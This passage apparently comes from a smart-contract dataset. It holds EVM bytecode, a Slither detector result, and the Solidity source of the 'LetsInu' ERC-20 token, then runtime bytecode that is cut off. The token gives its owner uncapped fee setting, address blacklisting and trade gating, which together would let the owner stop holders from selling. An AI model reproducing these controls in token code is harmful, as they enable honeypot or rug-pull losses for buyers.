} | 0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063289de615146101f2578063313ce567146102ec57806342966c681461031757806370a08231146103315780638da5cb5b1461035257806395d89b4114610383578063a9059cbb14610398578063b9037bc2146103bc578063da5140fc146103dd578063dd62ed3e14610404578063f2fde38b1461042b575b600080fd5b3480156100eb57600080fd5b506100f461044c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356104da565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b6610544565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a036004358116906024351660443561054a565b3480156101fe57600080fd5b506102076107a4565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561024e578181015183820152602001610236565b50505050905090810190601f16801561027b5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156102ae578181015183820152602001610296565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156102f857600080fd5b506103016108e5565b6040805160ff9092168252519081900360200190f35b34801561032357600080fd5b5061032f6004356108ee565b005b34801561033d57600080fd5b506101b6600160a060020a03600435166109cf565b34801561035e57600080fd5b506103676109ea565b60408051600160a060020a039092168252519081900360200190f35b34801561038f57600080fd5b506100f46109f9565b3480156103a457600080fd5b5061018d600160a060020a0360043516602435610a54565b3480156103c857600080fd5b5061032f600160a060020a0360043516610c21565b3480156103e957600080fd5b5061032f600160a060020a0360043516602435604435610c59565b34801561041057600080fd5b506101b6600160a060020a0360043581169060243516610d6a565b34801561043757600080fd5b5061032f600160a060020a0360043516610d95565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d25780601f106104a7576101008083540402835291602001916104d2565b820191906000526020600020905b8154815290600101906020018083116104b557829003601f168201915b505050505081565b600160a060020a03338116600081815260076020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b600080600160a060020a038416151561056257600080fd5b600160a060020a03851660009081526001602052604090205483111561058757600080fd5b600160a060020a03808616600090815260076020908152604080832033909416835292905220548311156105ba57600080fd5b6000831180156105f05750600160a060020a0384166000908152600160205260409020546105ee818563ffffffff610e2e16565b115b15156105fb57600080fd5b600160a060020a03851660009081526005602052604081206001015411156106905750600654600160a060020a03851660009081526005602052604090205442919091039081101561069057600160a060020a038086166000908152600560209081526040808320600190810154339095168452909152902054610685908563ffffffff610e4416565b101561069057600080fd5b600160a060020a0385166000908152600160205260409020546106b9908463ffffffff610e4416565b600160a060020a0380871660009081526001602052604080822093909355908616815220546106ee908463ffffffff610e2e16565b600160a060020a03808616600090815260016020908152604080832094909455888316825260078152838220339093168252919091522054610736908463ffffffff610e4416565b600160a060020a038087166000818152600760209081526040808320338616845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b60608060006009600a600054828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108455780601f1061081a57610100808354040283529160200191610845565b820191906000526020600020905b81548152906001019060200180831161082857829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156108d35780601f106108a8576101008083540402835291602001916108d3565b820191906000526020600020905b8154815290600101906020018083116108b657829003601f168201915b50505050509150925092509250909192565b600b5460ff1681565b60085433600160a060020a0390811691161461090957600080fd5b600254600160a060020a031660009081526001602052604090205481111561093057600080fd5b600254600160a060020a031660009081526001602052604090205461095b908263ffffffff610e4416565b600254600160a060020a03166000908152600160205260408120919091555461098a908263ffffffff610e4416565b600055604080518281529051600160a060020a033316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600160a060020a031660009081526001602052604090205490565b600854600160a060020a031681565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d25780601f106104a7576101008083540402835291602001916104d2565b600080600160a060020a0384161515610a6c57600080fd5b600160a060020a0333166000908152600160205260409020548311801590610a945750600083115b8015610ac65750600160a060020a038416600090815260016020526040902054610ac4818563ffffffff610e2e16565b115b1515610ad157600080fd5b600160a060020a0333166000908152600560205260408120600101541115610b5f5750600654600160a060020a033316600090815260056020526040902054429190910390811015610b5f57600160a060020a0333166000908152600560209081526040808320600190810154925290912054610b54908563ffffffff610e4416565b1015610b5f57600080fd5b600160a060020a033316600090815260016020526040902054610b88908463ffffffff610e4416565b600160a060020a033381166000908152600160205260408082209390935590861681522054610bbd908463ffffffff610e2e16565b600160a060020a038086166000818152600160209081526040918290209490945580518781529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600191505b5092915050565b60085433600160a060020a03908116911614610c3c57600080fd5b600160a060020a0316600090815260056020526040812060010155565b60085433600160a060020a03908116911614610c7457600080fd5b600b54600160a060020a03331660009081526001602052604090205460ff909116600a0a9290920291821115610ca957600080fd5b600160a060020a033316600090815260016020526040902054610cd2908363ffffffff610e4416565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d07908363ffffffff610e2e16565b600160a060020a039093166000818152600160208181526040808420979097558651808801885262015180909502808652600b5460ff16600a0a969096029481018590526003869055600494855592825260059092529390932091825554910155565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60085433600160a060020a03908116911614610db057600080fd5b600160a060020a0381161515610dc557600080fd5b600854604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610e3d57fe5b9392505050565b600082821115610e5057fe5b50900390565b600080831515610e695760009150610c1a565b50828202828482811515610e7957fe5b0414610e3d57fe00a165627a7a72305820d7c4fcff8cc5fda5838e3886419cd0710aa9a6c143b81bb59760410590133e4e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,188 |
0xb206811fcfe7871efe22daef47ba228291397125 | /*
@LETS INU
TG:https://t.me/LetsInu
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LETSINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "LetsInu";
string private constant _symbol = "LETS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x3660002146de872dAe8fdc30FAB421Dc34D0742c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //2
uint256 public _maxWalletSize = 4000000000000 * 10**9; //4
uint256 public _swapTokensAtAmount = 20000000000 * 10**9; //0.2
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b88565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c9190612fd1565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612b4c565b61086d565b6040516102599190612f9b565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190612fb6565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af91906131b3565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612ac1565b6108c3565b6040516102ec9190612f9b565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612b10565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b60405161034091906131b3565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613228565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b6040516103969190612f80565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612a33565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612bc9565b610c44565b005b3480156103fd57600080fd5b50610406610cf6565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612a33565b610d68565b60405161043c91906131b3565b60405180910390f35b34801561045157600080fd5b5061045a610db9565b005b34801561046857600080fd5b50610483600480360381019061047e9190612bf2565b610f0c565b005b34801561049157600080fd5b5061049a610fab565b6040516104a791906131b3565b60405180910390f35b3480156104bc57600080fd5b506104c5610fb1565b6040516104d29190612f80565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612bc9565b610fda565b005b34801561051057600080fd5b5061051961108c565b60405161052691906131b3565b60405180910390f35b34801561053b57600080fd5b50610544611092565b6040516105519190612fd1565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612bf2565b6110cf565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612c1b565b61116e565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612b4c565b611225565b6040516105e09190612f9b565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612a33565b611243565b60405161061d9190612f9b565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612a33565b611263565b60405161065a9190612f9b565b60405180910390f35b34801561066f57600080fd5b50610678611283565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612a85565b6112fd565b6040516106ae91906131b3565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612bf2565b611384565b005b6106e8611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613113565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610824906134ed565b915050610778565b5050565b60606040518060400160405280600781526020017f4c657473496e7500000000000000000000000000000000000000000000000000815250905090565b600061088161087a611423565b848461142b565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108d08484846115f6565b610991846108dc611423565b61098c856040518060600160405280602881526020016139d460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610942611423565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de69092919063ffffffff16565b61142b565b600190509392505050565b6109a4611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613113565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb906130d3565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613113565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613113565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37611423565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d6581611e4a565b50565b6000610db2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb6565b9050919050565b610dc1611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590613113565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f14611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890613113565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fe2611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106690613113565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4c45545300000000000000000000000000000000000000000000000000000000815250905090565b6110d7611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90613113565b60405180910390fd5b8060188190555050565b611176611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90613113565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611239611232611423565b84846115f6565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112c4611423565b73ffffffffffffffffffffffffffffffffffffffff16146112e457600080fd5b60006112ef30610d68565b90506112fa81611f24565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61138c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613113565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290613193565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150290613073565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e991906131b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90613153565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90612ff3565b60405180910390fd5b60008111611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090613133565b60405180910390fd5b611721610fb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178f575061175f610fb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae557601560149054906101000a900460ff1661183557601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182b90613013565b60405180910390fd5b5b60165481111561187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187190613053565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561191e5750601060008373f